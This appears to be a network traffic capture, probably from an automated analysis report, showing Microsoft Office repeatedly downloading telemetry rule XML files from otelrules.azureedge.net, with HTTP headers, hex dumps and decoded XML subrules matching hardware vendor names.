2024-10-26 11:45:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:10 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114510Z-16849878b78nx5sne3fztmu6xc00000002xg000000009byc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:10 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49748	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:10 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:10 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:10 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114510Z-16849878b78qf2gleqhwczd21s0000000290000000000kpz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:10 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49751	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:10 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:10 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6b50d5b8-301e-005d-5751-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114510Z-17c5cb586f6mkpfk79wxvcahc000000002f0000000001xgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:10 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49750	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:10 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:10 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:10 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: f31c25f5-601e-0001-6558-27faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114510Z-r197bdfb6b4hsj5bywyqk9r2xw0000000380000000009yab x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:10 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49755	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:11 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:11 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:11 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114511Z-16849878b78q9m8bqvwuva4svc00000000hg000000001ur1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:11 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49752	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:11 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:11 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 83a5bbbc-601e-005c-5bad-24f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114511Z-15b8d89586fmhkw429ba5n22m800000003ag0000000059g7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:11 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49754	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:11 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:11 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e5972945-801e-007b-45f3-24e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114511Z-15b8d89586f42m673h1quuee4s000000063g000000001eqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:11 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49756	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:11 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:11 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114511Z-16849878b78qfbkc5yywmsbg0c00000001p0000000006zg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:11 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49753	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:11 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:11 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:11 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f6ec459e-801e-00a0-7849-272196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114511Z-16849878b78qg9mlz11wgn0wcc00000001g000000000cc1x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:11 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49758	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:12 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 4ec88854-201e-0033-236a-27b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114512Z-r197bdfb6b46kmj4701qkq602400000000y0000000008dbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:12 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49761	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:12 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: e4cbed29-601e-0002-4328-26a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114512Z-r197bdfb6b4c8q4qvwwy2byzsw000000022g0000000093n6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49760	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:12 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 43a53b7c-f01e-005d-24fc-2413ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114512Z-15b8d89586fxdh48qknu9dqk2g00000005x000000000618p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:12 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49757	13.107.246.51	443

